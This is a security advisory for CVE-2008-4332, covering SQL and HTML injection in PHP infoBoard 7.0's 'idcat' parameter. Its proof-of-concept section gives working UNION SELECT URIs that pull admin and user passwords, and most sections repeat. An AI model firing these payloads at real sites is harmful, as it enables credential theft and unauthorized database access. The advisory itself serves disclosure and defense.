PHP infoBoard 'idcat' Parameter SQL Injection and HTML Injection Vulnerabilities
BID:31405
Info
PHP infoBoard 'idcat' Parameter SQL Injection and HTML Injection Vulnerabilities
| Bugtraq ID: | 31405 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4332 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 25 2008 12:00AM |
| Updated: | May 07 2015 05:23PM |
| Credit: | CWH Underground |
| Vulnerable: |
dooidea team PHP infoBoard 7.0 |
| Not Vulnerable: | |
Discussion
PHP infoBoard 'idcat' Parameter SQL Injection and HTML Injection Vulnerabilities
PHP infoBoard is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and an HTML-injection issue.
Attackers can exploit these issues to steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP infoBoard 7.0 is vulnerable; other versions may also be affected.
PHP infoBoard is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and an HTML-injection issue.
Attackers can exploit these issues to steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP infoBoard 7.0 is vulnerable; other versions may also be affected.
Exploit / POC
PHP infoBoard 'idcat' Parameter SQL Injection and HTML Injection Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_admin--&showpage=10
http://www.example.com/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_user--&showpage=10
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_admin--&showpage=10
http://www.example.com/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_user--&showpage=10
Solution / Fix
PHP infoBoard 'idcat' Parameter SQL Injection and HTML Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP infoBoard 'idcat' Parameter SQL Injection and HTML Injection Vulnerabilities
References:
References:
- PHP infoBoard Homepage (dooidea team)